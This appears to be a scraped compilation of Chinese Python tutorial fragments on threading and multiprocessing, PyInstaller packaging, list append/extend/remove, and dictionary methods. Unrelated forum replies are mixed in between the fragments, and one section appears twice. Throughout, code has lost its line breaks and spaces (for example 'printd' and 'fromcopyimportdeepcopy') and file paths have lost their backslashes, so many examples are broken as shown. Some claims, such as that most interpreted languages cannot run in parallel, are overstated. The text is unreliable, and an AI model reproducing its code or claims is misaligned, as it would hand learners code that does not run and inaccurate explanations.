并发和并行你吃饭吃到一半，电话来了，你一直到吃完了以后才去接，这就说明你不支持并发也不支持并行。 你吃饭吃到一半，电话来了，你停了下来接了电话，接完后继续吃饭，这说明你支持并发。 你吃饭吃到一半，电话来了，你一边打电话一边吃饭，这说明你支持并行。并发的关键是你有处理多个任务的能力，不一定要同时。 并行的关键是你有同时处理多个任务的能力。所以我认为它们最关键的点就是：是否是『同时』。Python 中没有真正的并行，只有并发无论你的机器有多少个CPU, 同一时间只有一个Python解析器执行。这也和大部分解释型语言一致， 都不支持并行。这应该是python设计的先天缺陷。javascript也是相同的道理， javascript早起的版本只支持单任务，后来通过worker来支持并发。Python中的多线程先复习一下进程和线程的概念所谓进程，简单的说就是一段程序的动态执行过程，是系统进行资源分配和调度的一个基本单位。一个进程中又可以包含若干个独立的执行流，我们将这些执行流称为线程，线程是CPU调度和分配的基本单位。同一个进程的线程都有自己的专有寄存器，但内存等资源是共享的。这里有一个更加形象的解释， 出自阮一峰大神的杰作： http://www.ruanyifeng.com/blog/2013/04/processes_and_threads.htmlPython中的thread的使用通过 thread.start_new_thread 方法import threadimport time# Define a function for the threaddef print_time( threadName, delay):count = 0while count < 5:time.sleep(delay)count += 1print "%s: %s" % ( threadName, time.ctime(time.time()) )# Create two threads as followstry:thread.start_new_thread( print_time, ("Thread-1", 2, ) )thread.start_new_thread( print_time, ("Thread-2", 4, ) )except:print "Error: unable to start thread"while 1:pass通过继承thread#!/usr/bin/pythonimport threadingimport timeexitFlag = 0class myThread (threading.Thread):def __init__(self, threadID, name, counter):threading.Thread.__init__(self)self.threadID = threadIDself.name = nameself.counter = counterdef run(self):print "Starting " + self.nameprint_time(self.name, self.counter, 5)print "Exiting " + self.namedef print_time(threadName, delay, counter):while counter:if exitFlag:threadName.exit()time.sleep(delay)print "%s: %s" % (threadName, time.ctime(time.time()))counter -= 1# Create new threadsthread1 = myThread(1, "Thread-1", 1)thread2 = myThread(2, "Thread-2", 2)# Start new Threadsthread1.start()thread2.start()print "Exiting Main Thread"线程的同步#!/usr/bin/pythonimport threadingimport timeclass myThread (threading.Thread):def __init__(self, threadID, name, counter):threading.Thread.__init__(self)self.threadID = threadIDself.name = nameself.counter = counterdef run(self):print "Starting " + self.name# Get lock to synchronize threadsthreadLock.acquire()print_time(self.name, self.counter, 3)# Free lock to release next threadthreadLock.release()def print_time(threadName, delay, counter):while counter:time.sleep(delay)print "%s: %s" % (threadName, time.ctime(time.time()))counter -= 1threadLock = threading.Lock()threads = []# Create new threadsthread1 = myThread(1, "Thread-1", 1)thread2 = myThread(2, "Thread-2", 2)# Start new Threadsthread1.start()thread2.start()# Add threads to thread listthreads.append(thread1)threads.append(thread2)# Wait for all threads to completefor t in threads:t.join()print "Exiting Main Thread"利用multiprocessing多进程实现并行进程的创建 Python 中有一套类似多线程API 的的类来进行多进程开发: multiprocessing 这里是一个来自官方文档的例子：from multiprocessing import Processdef f(name):print "hello", nameif __name__ == "__main__":p = Process(target=f, args=("bob",))p.start()p.join()类似与线程，一可以通过继承process类来实现：from multiprocessing import Processclass Worker(Process):def run(self):print("in" + self.name)if __name__ == "__main__":jobs = []for i in range(5):p = Worker()jobs.append(p)p.start()for j in jobs:j.join()进程的通信Pipe() pipe()函数返回一对由双向通信的管道连接的对象，这两个对象通过send, recv 方法实现 信息的传递from multiprocessing import Process, Pipedef f(conn):conn.send([42, None, "hello"])conn.close()if __name__ == "__main__":parent_conn, child_conn = Pipe()p = Process(target=f, args=(child_conn,))p.start()print parent_conn.recv() # prints "[42, None, "hello"]"p.join()Quenefrom multiprocessing import Process, Queuedef f(q):q.put([42, None, "hello"])if __name__ == "__main__":q = Queue()p = Process(target=f, args=(q,))p.start()print q.get() # prints "[42, None, "hello"]"p.join()进程间的同步 Python 中多进程中也有类似线程锁的概念，使用方式几乎一样：from multiprocessing import Process, Lockdef f(l, i):l.acquire()print "hello world", il.release()if __name__ == "__main__":lock = Lock()for num in range(10):Process(target=f, args=(lock, num)).start()进程间的共享内存 每个进程都有独自的内存，是不能相互访问的， 也行 python官方觉得通过进程通信的方式过于麻烦，提出了共享内存的概念，以下是官方给出的例子：from multiprocessing import Process, Value, Arraydef f(n, a):n.value = 3.1415927for i in range(len(a)):a[i] = -a[i]if __name__ == "__main__":num = Value("d", 0.0)arr = Array("i", range(10))p = Process(target=f, args=(num, arr))p.start()p.join()print num.valueprint arr[:]总结python通过多进程实现多并行，充分利用多处理器，弥补了语言层面不支持多并行的缺点。Python, Node.js等解释型语言似乎都是通过这种方式来解决同一个时间，一个解释器只能处理一段程序的问题， 十分巧妙。

意思是说python线程只可以开始一次？？？你把你程序我看看

打包python脚本为exe的坎坷经历, by pyinstaller方法又应验了那句歌词. 不经历风雨, 怎么见得了彩虹.安装过程略去不提, 仅提示: pip install pyinstaller打包指令粗看包里的文档, 然后开始打包:打开console就用了这个命令: pyinstaller monitor_rt_quotes.py结果就是比预期麻烦的多的多的: 干活, 硬盘不停地balabala叫, 漫长这里记录一下控制台显示的提示信息:官方文档对上述指令的解释为:|PyInstaller| analyzes myscript.py and:Writes myscript.spec in the same folder as the script.Creates a folder build in the same folder as the script if it does not exist.Writes some log files and working files in the build folder.Creates a folder dist in the same folder as the script if it does not exist.Writes the myscript executable folder in the dist folder.In the dist folder you find the bundled app you distribute to your users.巨长的提示后, 得到了exe文件, 有18Mb的大小(太庞大了, 肥肥肥!!!), 但是结果很悲剧:D:DBfzuildmonitor_rt_quotes>monitor_rt_quotes.exe sz000911Error loading Python DLL: D:DBfzuildmonitor_rt_quotespython27.dll (error code 126)估计是没有添加必要的打包选项造成的. 继续努力.不死心! 解决问题需要由简到繁, 先从hellowworld.py做起. 搞定了.被打包的文件: helloworld.py, 人人皆知.打包的命令: pyinstaller -D helloworld.py打包的console提示: 见随后的引述块打包发布exe时的纪律(注意事项):很简单的py脚本. Simple is better than complex. 应该遵守Python的规则.所以在打包为exe时, 应该尽量减少没有必要的python包的导入. 否则吃的太胖可以运行的exe文件位于: dist 目录下, 而不是build目录下的.运行后的结果:D:DBfz>pyinstaller -D helloworld.py155 INFO: PyInstaller: 3.2.1155 INFO: Python: 2.7.11155 INFO: Platform: Windows-XP-5.1.2600-SP3155 INFO: wrote D:DBfzhelloworld.spec155 INFO: UPX is not available.155 INFO: Extending PYTHONPATH with paths["D:\DB", "D:\DB\fz"]155 INFO: checking Analysis155 INFO: Building Analysis because out00-Analysis.toc is non existent155 INFO: Initializing module dependency graph...155 INFO: Initializing module graph hooks...312 INFO: running Analysis out00-Analysis.toc327 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable  required by d:anaconda2python.exe327 INFO: Found C:WINDOWSWinSxSPoliciesx86_policy.9.0.Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_x-ww_b7353f759.0.30729.1.policy327 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww ...327 INFO: Found manifest C:WINDOWSWinSxSManifestsx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963e.manifest327 INFO: Searching for file msvcr90.dll327 INFO: Found file C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963emsvcr90.dll327 INFO: Searching for file msvcp90.dll327 INFO: Found file C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963emsvcp90.dll327 INFO: Searching for file msvcm90.dll343 INFO: Found file C:WINDOWSWinSxSx86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.1_x-ww_6f74963emsvcm90.dll343 INFO: Found C:WINDOWSWinSxSPoliciesx86_policy.9.0.Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_x-ww_b7353f759.0.30729.1.policy343 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0,30729, 1)484 INFO: Caching module hooks...500 INFO: Analyzing D:DBfzhelloworld.py500 INFO: Loading module hooks...500 INFO: Loading module hook "hook-encodings.py"...5405 INFO: Loading module hook "hook-httplib.py"...5421 INFO: Looking for ctypes DLLs5437 INFO: Analyzing run-time hooks ...5452 INFO: Looking for dynamic libraries6155 INFO: Looking for eggs6155 INFO: Using Python library d:anaconda2python27.dll6171 INFO: Found binding redirects:[BindingRedirect(name=u"Microsoft.VC90.CRT", language=None, arch=u"x86", oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 30729, 1), publicKeyToken=u"1fc8b3b9a1e18e3b")]6187 INFO: Warnings written to D:DBfzuildhelloworldwarnhelloworld.txt6280 INFO: checking PYZ6296 INFO: Building PYZ because out00-PYZ.toc is non existent6296 INFO: Building PYZ (ZlibArchive) D:DBfzuildhelloworldout00-PYZ.pyz6968 INFO: Building PYZ (ZlibArchive) D:DBfzuildhelloworldout00-PYZ.pyz completed successfully.7062 INFO: checking PKG7062 INFO: Building PKG because out00-PKG.toc is non existent7077 INFO: Building PKG (CArchive) out00-PKG.pkg7125 INFO: Building PKG (CArchive) out00-PKG.pkg completed successfully.7140 INFO: Bootloader d:anaconda2libsite-packagesPyInstallerootloaderWindows-32bit un.exe7140 INFO: checking EXE7155 INFO: Building EXE because out00-EXE.toc is non existent7155 INFO: Building EXE from out00-EXE.toc7171 INFO: Appending archive to EXE D:DBfzuildhelloworldhelloworld.exe7171 INFO: Building EXE from out00-EXE.toc completed successfully.7187 INFO: checking COLLECT7202 INFO: Building COLLECT because out00-COLLECT.toc is non existent7202 INFO: Building COLLECT out00-COLLECT.toc7218 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 1)7375 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 1)7390 INFO: Updating manifest in C:Documents and SettingsAdministratorApplication Datapyinstallerincache00_py27_32bitpython27.dll7405 INFO: Updating resource type 24 name 2 language 10337468 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 1)7484 INFO: Updating manifest in C:Documents and SettingsAdministratorApplication Datapyinstallerincache00_py27_32bitunicodedata.pyd7500 INFO: Updating resource type 24 name 2 language 10337546 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 1)7562 INFO: Updating manifest in C:Documents and SettingsAdministratorApplication Datapyinstallerincache00_py27_32bit\_hashlib.pyd7562 INFO: Updating resource type 24 name 2 language 10337609 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 1)7625 INFO: Updating manifest in C:Documents and SettingsAdministratorApplication Datapyinstallerincache00_py27_32bit\_ctypes.pyd7640 INFO: Updating resource type 24 name 2 language 10337687 INFO: Redirecting Microsoft.VC90

你这样写没啥错误啊，foodx=[];foody=[]，没问题啊

列表可包含任何数据类型的元素，单个列表中的元素无须全为同一类型。append() 方法向列表的尾部添加一个新的元素。列表是以类的形式实现的。“创建”列表实际上是将一个类实例化。因此，列表有多种方法可以操作。extend()方法只接受一个列表作为参数，并将该参数的每个元素都添加到原有的列表中。extend的解释没看太明白，琢磨了一下>>> myList = [1,2.0,"a"]>>> myList[1, 2.0, "a"]>>> myList.append("APP")>>> myList[1, 2.0, "a", "APP"]>>> myList.extend([123,"abc"])>>> myList[1, 2.0, "a", "APP", 123, "abc"]>>> myList.append(1,2)Traceback (most recent call last):File "<pyshell#69>", line 1, in <module>、myList.append(1,2)TypeError: append() takes exactly one argument (2 given)>>> myList.extend([1],[2])Traceback (most recent call last):File "<pyshell#70>", line 1, in <module>myList.extend([1],[2])TypeError: extend() takes exactly one argument (2 given)>>>结果如下：append和extend都仅只可以接收一个参数，append 任意，甚至是tuple，extend 只能是一个列表。风格Python在设计上坚持了清晰划一的风格，这使得Python成为一门易读、易维护，并且被大量用户所欢迎的、用途广泛的语言。设计者开发时总的指导思想是，对于一个特定的问题，只要有一种最好的方法来解决就好了。这在由Tim Peters写的Python格言（称为The Zen of Python）里面表述为：There should be one-- and preferably only one --obvious way to do it. 这正好和Perl语言（另一种功能类似的高级动态语言）的中心思想TMTOWTDI（There"s More Than One Way To Do It）完全相反。Python的作者有意的设计限制性很强的语法，使得不好的编程习惯（例如if语句的下一行不向右缩进）都不能通过编译。其中很重要的一项就是Python的缩进规则。一个和其他大多数语言（如C）的区别就是，一个模块的界限，完全是由每行的首字符在这一行的位置来决定的（而C语言是用一对花括号{}来明确的定出模块的边界的，与字符的位置毫无关系）。这一点曾经引起过争议。因为自从C这类的语言诞生后，语言的语法含义与字符的排列方式分离开来，曾经被认为是一种程序语言的进步。不过不可否认的是，通过强制程序员们缩进（包括if，for和函数定义等所有需要使用模块的地方），Python确实使得程序更加清晰和美观。与MATLAB的对比说起科学计算，首先会被提到的可能是MATLAB。然而除了MATLAB的一些专业性很强的工具箱还无法被替代之外，MATLAB的大部分常用功能都可以在Python世界中找到相应的扩展库。和MATLAB相比，用Python做科学计算有如下优点：● 首先，MATLAB是一款商用软件，并且价格不菲。而Python完全免费，众多开源的科学计算库都提供了Python的调用接口。用户可以在任何计算机上免费安装Python及其绝大多数扩展库。● 其次，与MATLAB相比，Python是一门更易学、更严谨的程序设计语言。它能让用户编写出更易读、易维护的代码。● 最后，MATLAB主要专注于工程和科学计算。然而即使在计算领域，也经常会遇到文件管理、界面设计、网络通信等各种需求。而Python有着丰富的扩展库，可以轻易完成各种高级任务，开发者可以用Python实现完整应用程序所需的各种功能。

1. 列表可包含任何数据类型的元素，单个列表中的元素无须全为同一类型。2. append() 方法向列表的尾部添加一个新的元素。3. 列表是以类的形式实现的。“创建”列表实际上是将一个类实例化。因此，列表有多种方法可以操作。extend()方法只接受一个列表作为参数，并将该参数的每个元素都添加到原有的列表中。4. append() 方法向列表的尾部添加一个新的元素。只接受一个参数。5.extend()方法只接受一个列表作为参数，并将该参数的每个元素都添加到原有的列表中。

二者区别总结如下：1.extend（）方法是指在列表末尾增加一个数据集合。例如：在例1基础上，students列表末尾继续增加"Kavin"与"Jack"和"Chapman"三项。　　>>> students = [‘Cleese‘ , ‘Palin‘ , ‘Jones‘ , ‘Idle‘]>>> students.append(‘Gavin‘)>>> print(students)[‘Cleese‘, ‘Palin‘, ‘Jones‘, ‘Idle‘, ‘Gavin‘]>>> students.extend([‘Kavin‘,‘Jack‘,‘Chapman‘])>>> print(students)[‘Cleese‘, ‘Palin‘, ‘Jones‘, ‘Idle‘, ‘Gavin‘, ‘Kavin‘, ‘Jack‘, ‘Chapman‘]2.append（）方法是指在列表末尾增加一个数据项。例如：在students列表末尾增加"Gavin"项。>>> students = [‘Cleese‘ , ‘Palin‘ , ‘Jones‘ , ‘Idle‘]>>> students.append(‘Gavin‘)>>> print(students)[‘Cleese‘, ‘Palin‘, ‘Jones‘, ‘Idle‘, ‘Gavin‘]

描述remove() 函数用于移除列表中某个值的第一个匹配项。语法remove()方法语法：list.remove(obj)参数obj -- 列表中要移除的对象。返回值该方法没有返回值但是会移除两种中的某个值的第一个匹配项。实例以下实例展示了 remove()函数的使用方法：#!/usr/bin/pythonaList = [123, "xyz", "zara", "abc", "xyz"];aList.remove("xyz");print "List : ", aList;aList.remove("abc");print "List : ", aList;以上实例输出结果如下：List : [123, "zara", "abc", "xyz"]List : [123, "zara", "xyz"]

描述remove() 函数用于移除列表中某个值的第一个匹配项。语法remove()方法语法：list.remove(obj)参数obj -- 列表中要移除的对象。返回值该方法没有返回值但是会移除两种中的某个值的第一个匹配项。实例以下实例展示了 remove()函数的使用方法：#!/usr/bin/pythonaList = [123, "xyz", "zara", "abc", "xyz"];aList.remove("xyz");print "List : ", aList;aList.remove("abc");print "List : ", aList;以上实例输出结果如下：List : [123, "zara", "abc", "xyz"]List : [123, "zara", "xyz"]

告诉解释器，后面这个对象是全局的对象，不是局部的。

字典是一种通过名字或者关键字引用的得数据结构，其键可以是数字、字符串、元组，这种结构类型也称之为映射。字典类型是Python中唯一内建的映射类型，基本的操作包括如下： (1)len()：返回字典中键—值对的数量； (2)d[k]:返回关键字对于的值； (3)d[k]=v:将值关联到键值k上； (4)del d[k]:删除键值为k的项； (5)key in d:键值key是否在d中，是返回True，否则返回False。 (6)clear函数：清除字典中的所有项 (7)copy函数：返回一个具有相同键值的新字典；deepcopy()函数使用深复制，复制其包含所有的值，这个方法可以解决由于副本修改而使原始字典也变化的问题 (8)fromkeys函数：使用给定的键建立新的字典，键默认对应的值为None (9)get函数：访问字典成员 (10)has_key函数：检查字典中是否含有给出的键 (11)items和iteritems函数:items将所有的字典项以列表方式返回，列表中项来自（键，值），iteritems与items作用相似，但是返回的是一个迭代器对象而不是列表 (12)keys和iterkeys：keys将字典中的键以列表形式返回，iterkeys返回键的迭代器 (13)pop函数：删除字典中对应的键 (14)popitem函数：移出字典中的项 (15)setdefault函数：类似于get方法，获取与给定键相关联的值，也可以在字典中不包含给定键的情况下设定相应的键值 (16)update函数：用一个字典更新另外一个字典 (17) values和itervalues函数：values以列表的形式返回字典中的值，itervalues返回值得迭代器，由于在字典中值不是唯一的，所以列表中可以包含重复的元素 一、字典的创建 1.1 直接创建字典 d={"one":1,"two":2,"three":3} printd printd["two"] printd["three"] 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":1} >>> 1.2 通过dict创建字典 # _*_ coding:utf-8 _*_ items=[("one",1),("two",2),("three",3),("four",4)] printu"items中的内容:" printitems printu"利用dict创建字典，输出字典内容:" d=dict(items) printd printu"查询字典中的内容:" printd["one"] printd["three"] 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= items中的内容: [("one",1), ("two",2), ("three",3), ("four",4)] 利用dict创建字典，输出字典内容: {"four":4,"three":3,"two":2,"one":1} 查询字典中的内容: >>> 或者通过关键字创建字典 # _*_ coding:utf-8 _*_ d=dict(one=1,two=2,three=3) printu"输出字典内容:" printd printu"查询字典中的内容:" printd["one"] printd["three"] 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= 输出字典内容: {"three":3,"two":2,"one":1} 查询字典中的内容: >>> 二、字典的格式化字符串 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3,"four":4} printd print"three is %(three)s."%d 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"four":4,"three":3,"two":2,"one":1} threeis3. >>> 三、字典方法 3.1 clear函数：清除字典中的所有项 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3,"four":4} printd d.clear() printd 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"four":4,"three":3,"two":2,"one":1} {} >>> 请看下面两个例子 3.1.1 # _*_ coding:utf-8 _*_ d={} dd=d d["one"]=1 d["two"]=2 printdd d={} printd printdd 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"two":2,"one":1} {} {"two":2,"one":1} >>> 3.1.2 # _*_ coding:utf-8 _*_ d={} dd=d d["one"]=1 d["two"]=2 printdd d.clear() printd printdd 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"two":2,"one":1} {} {} >>> 3.1.2与3.1.1唯一不同的是在对字典d的清空处理上，3.1.1将d关联到一个新的空字典上，这种方式对字典dd是没有影响的，所以在字典d被置空后，字典dd里面的值仍旧没有变化。但是在3.1.2中clear方法清空字典d中的内容，clear是一个原地操作的方法，使得d中的内容全部被置空，这样dd所指向的空间也被置空。 3.2 copy函数：返回一个具有相同键值的新字典 # _*_ coding:utf-8 _*_ x={"one":1,"two":2,"three":3,"test":["a","b","c"]} printu"初始X字典：" printx printu"X复制到Y：" y=x.copy() printu"Y字典：" printy y["three"]=33 printu"修改Y中的值，观察输出：" printy printx printu"删除Y中的值，观察输出" y["test"].remove("c") printy printx 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= 初始X字典： {"test": ["a","b","c"],"three":3,"two":2,"one":1} X复制到Y： Y字典： {"test": ["a","b","c"],"one":1,"three":3,"two":2} 修改Y中的值，观察输出： {"test": ["a","b","c"],"one":1,"three":33,"two":2} {"test": ["a","b","c"],"three":3,"two":2,"one":1} 删除Y中的值，观察输出 {"test": ["a","b"],"one":1,"three":33,"two":2} {"test": ["a","b"],"three":3,"two":2,"one":1} >>> 注：在复制的副本中对值进行替换后，对原来的字典不产生影响，但是如果修改了副本，原始的字典也会被修改。deepcopy函数使用深复制，复制其包含所有的值，这个方法可以解决由于副本修改而使原始字典也变化的问题。 # _*_ coding:utf-8 _*_ fromcopyimportdeepcopy x={} x["test"]=["a","b","c","d"] y=x.copy() z=deepcopy(x) printu"输出：" printy printz printu"修改后输出：" x["test"].append("e") printy printz 运算输出： =======RESTART: C:UsersMr_DengDesktop est.py======= 输出： {"test": ["a","b","c","d"]} {"test": ["a","b","c","d"]} 修改后输出： {"test": ["a","b","c","d","e"]} {"test": ["a","b","c","d"]} >>> 3.3 fromkeys函数：使用给定的键建立新的字典，键默认对应的值为None # _*_ coding:utf-8 _*_ d=dict.fromkeys(["one","two","three"]) printd 运算输出： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":None,"two":None,"one":None} >>> 或者指定默认的对应值 # _*_ coding:utf-8 _*_ d=dict.fromkeys(["one","two","three"],"unknow") printd 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":"unknow","two":"unknow","one":"unknow"} >>> 3.4 get函数：访问字典成员 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3} printd printd.get("one") printd.get("four") 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":1} 1 None >>> 注：get函数可以访问字典中不存在的键，当该键不存在是返回None 3.5 has_key函数：检查字典中是否含有给出的键 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3} printd printd.has_key("one") printd.has_key("four") 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":1} True False >>> 3.6 items和iteritems函数:items将所有的字典项以列表方式返回，列表中项来自（键，值），iteritems与items作用相似，但是返回的是一个迭代器对象而不是列表 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3} printd list=d.items() forkey,valueinlist:   printkey,":",value 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":1} three :3 two :2 one :1 >>> # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3} printd it=d.iteritems() fork,vinit:   print"d[%s]="%k,v 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":1} d[three]=3 d[two]=2 d[one]=1 >>> 3.7 keys和iterkeys：keys将字典中的键以列表形式返回，iterkeys返回键的迭代器 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3} printd printu"keys方法：" list=d.keys() printlist printu" iterkeys方法：" it=d.iterkeys() forxinit:   printx 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":1} keys方法： ["three","two","one"] iterkeys方法： three two one >>> 3.8 pop函数：删除字典中对应的键 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3} printd d.pop("one") printd 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":1} {"three":3,"two":2} >>> 3.9 popitem函数：移出字典中的项 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3} printd d.popitem() printd 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":1} {"two":2,"one":1} >>> 3.10 setdefault函数：类似于get方法，获取与给定键相关联的值，也可以在字典中不包含给定键的情况下设定相应的键值 # _*_ coding:utf-8 _*_ d={"one":1,"two":2,"three":3} printd printd.setdefault("one",1) printd.setdefault("four",4) printd 运算结果： {"three":3,"two":2,"one":1} {"four":4,"three":3,"two":2,"one":1} >>> 3.11 update函数：用一个字典更新另外一个字典 # _*_ coding:utf-8 _*_ d={   "one":123,   "two":2,   "three":3   } printd x={"one":1} d.update(x) printd 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= {"three":3,"two":2,"one":123} {"three":3,"two":2,"one":1} >>> 3.12 values和itervalues函数：values以列表的形式返回字典中的值，itervalues返回值得迭代器，由于在字典中值不是唯一的，所以列表中可以包含重复的元素 # _*_ coding:utf-8 _*_ d={   "one":123,   "two":2,   "three":3,   "test":2   } printd.values() 运算结果： =======RESTART: C:UsersMr_DengDesktop est.py======= [2,3,2,123] >>>